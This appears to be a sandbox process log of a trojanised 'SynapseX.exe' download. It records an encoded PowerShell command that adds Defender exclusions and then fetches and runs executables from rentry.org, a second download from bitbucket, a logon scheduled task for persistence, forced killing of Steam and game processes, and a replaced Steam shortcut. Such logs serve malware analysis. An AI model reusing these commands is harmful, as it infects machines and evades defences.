"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.61.1122529875\2121324312" -childID 57 -isForBrowser -prefsHandle 10808 -prefMapHandle 6052 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0ee71157-ffc7-4c68-a5b6-d35c911a9a90} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7156 21ebb6c4e58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.62.1052321273\587767132" -childID 58 -isForBrowser -prefsHandle 8360 -prefMapHandle 7288 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e9157d73-26dd-4a1c-846d-5d5b45e5a63b} 248 "\\.\pipe\gecko-crash-server-pipe.248" 9532 21eb8563c58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.63.380729523\342115827" -childID 59 -isForBrowser -prefsHandle 8068 -prefMapHandle 7992 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbc629be-eb2e-4534-82fe-4bf6fe3a0c68} 248 "\\.\pipe\gecko-crash-server-pipe.248" 8016 21eb840e758 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.64.1866318717\1880184390" -childID 60 -isForBrowser -prefsHandle 11408 -prefMapHandle 9644 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2a5eb165-ab38-4232-b24b-2587536a9f54} 248 "\\.\pipe\gecko-crash-server-pipe.248" 10808 21eb6bb7b58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.65.952996531\1452529712" -childID 61 -isForBrowser -prefsHandle 11476 -prefMapHandle 10148 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f8618f0c-2f36-4aeb-911b-c527c186008a} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7896 21eba819858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.66.2072032186\869553746" -childID 62 -isForBrowser -prefsHandle 9096 -prefMapHandle 8216 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e82be164-3c11-4dfb-9ea7-7ffbcd7f63d6} 248 "\\.\pipe\gecko-crash-server-pipe.248" 7860 21ebc2aa358 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.67.284933729\614918544" -childID 63 -isForBrowser -prefsHandle 11200 -prefMapHandle 4864 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {593e60a8-99b6-4190-a495-51e6122ed32f} 248 "\\.\pipe\gecko-crash-server-pipe.248" 11192 21eb6bb6c58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.68.2119665909\1398029257" -childID 64 -isForBrowser -prefsHandle 9480 -prefMapHandle 9804 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8e87c720-0423-4930-a3bd-4acd10d92060} 248 "\\.\pipe\gecko-crash-server-pipe.248" 11200 21eb9f3e058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.69.671365529\1609131443" -childID 65 -isForBrowser -prefsHandle 11260 -prefMapHandle 10356 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8a36c7cf-5d41-4626-86c8-14a2cd674dbe} 248 "\\.\pipe\gecko-crash-server-pipe.248" 11152 21ebaef0558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.70.1107794026\289658567" -childID 66 -isForBrowser -prefsHandle 10436 -prefMapHandle 6852 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f7cab0a6-8360-4784-afca-f86091edc49d} 248 "\\.\pipe\gecko-crash-server-pipe.248" 10460 21eb9a1e558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.71.1822764610\1726710704" -childID 67 -isForBrowser -prefsHandle 8040 -prefMapHandle 9804 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {19ac7eaa-33be-4499-ba0f-aa109ab86a12} 248 "\\.\pipe\gecko-crash-server-pipe.248" 4020 21ebd805958 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.72.1184958264\626071317" -childID 68 -isForBrowser -prefsHandle 9784 -prefMapHandle 7732 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8a353c72-c282-4fc6-a4a1-c80831885801} 248 "\\.\pipe\gecko-crash-server-pipe.248" 2752 21eb93ba058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.73.623367122\755878200" -childID 69 -isForBrowser -prefsHandle 7208 -prefMapHandle 10800 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8da510a-c6f6-44d4-8ef1-e5a9e66bc4f7} 248 "\\.\pipe\gecko-crash-server-pipe.248" 10444 21eb9b80758 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="248.74.366725498\88140322" -childID 70 -isForBrowser -prefsHandle 7236 -prefMapHandle 10200 -prefsLen 31352 -prefMapSize 235121 -jsInitHandle 1256 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c91b2473-680e-4195-8d17-bfb59a7518ac} 248 "\\.\pipe\gecko-crash-server-pipe.248" 4968 21eb9fd2b58 tab

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\Downloads\SynapseX\SynapseX.exe

"C:\Users\Admin\Downloads\SynapseX\SynapseX.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"

C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk0.exe

"C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk0.exe"

C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk1.exe

"C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk1.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\73FE.tmp\73FF.tmp\7400.bat C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk1.exe"

C:\Windows\system32\chcp.com

chcp 1251

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\schtasks.exe

schtasks /query /tn "MyBatchScript"

C:\Windows\system32\schtasks.exe

schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/j46j746/hg56h56h56h/raw/7db2d3da302e81e3311c7814241af0d59152a170/lem.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Users\Admin\Downloads\SynapseX\SynapseX.exe

"C:\Users\Admin\Downloads\SynapseX\SynapseX.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"

C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe

"C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe"

C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe

"C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8AA3.tmp\8AA4.tmp\8AA5.bat C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe"

C:\Windows\system32\chcp.com

chcp 1251

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\schtasks.exe

schtasks /query /tn "MyBatchScript"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\taskmgr.exe

"C:\Windows\system32\taskmgr.exe" /0

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe

"C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\runHidden.vbs"

C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe

"C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\46CF.tmp\46D0.tmp\46D1.bat C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe"

C:\Windows\system32\chcp.com

chcp 1251

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\schtasks.exe

schtasks /query /tn "MyBatchScript"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "tf_win64.exe"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\taskkill.exe

taskkill /f /im tf_win64.exe

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "dota2.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im dota2.exe

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "cs2.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im cs2.exe

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "RustClient.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im RustClient.exe

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "GTA5.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im GTA5.exe

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "TslGame.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im TslGame.exe

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "RainbowSix.exe"

C:\Windows\system32\taskkill.exe

taskkill /f /im RainbowSix.exe

C:\Windows\system32\timeout.exe

timeout /t 3

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk0.exe

"C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk0.exe"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Windows\system32\tasklist.exe

tasklist

C:\Windows\system32\find.exe

find /i "steam.exe"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\taskkill.exe

taskkill /f /im steam.exe

C:\Windows\system32\timeout.exe

timeout /t 3

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk1.exe

"C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk1.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\66F9.tmp\66FA.tmp\66FB.bat C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk1.exe"

C:\Windows\system32\chcp.com

chcp 1251

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\schtasks.exe

schtasks /query /tn "MyBatchScript"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop

C:\Windows\system32\tar.exe

tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('C:\Users\Admin\Desktop\Steam.lnk'); $s.TargetPath = '\steam.exe'; $s.Save()"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe

"C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe

"C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\883D.tmp\883E.tmp\883F.bat C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\chcp.com

chcp 1251

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\findstr.exe

findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\timeout.exe

timeout /t 1

C:\Windows\system32\schtasks.exe

schtasks /query /tn "MyBatchScript"

C:\Windows\system32\cmd.exe

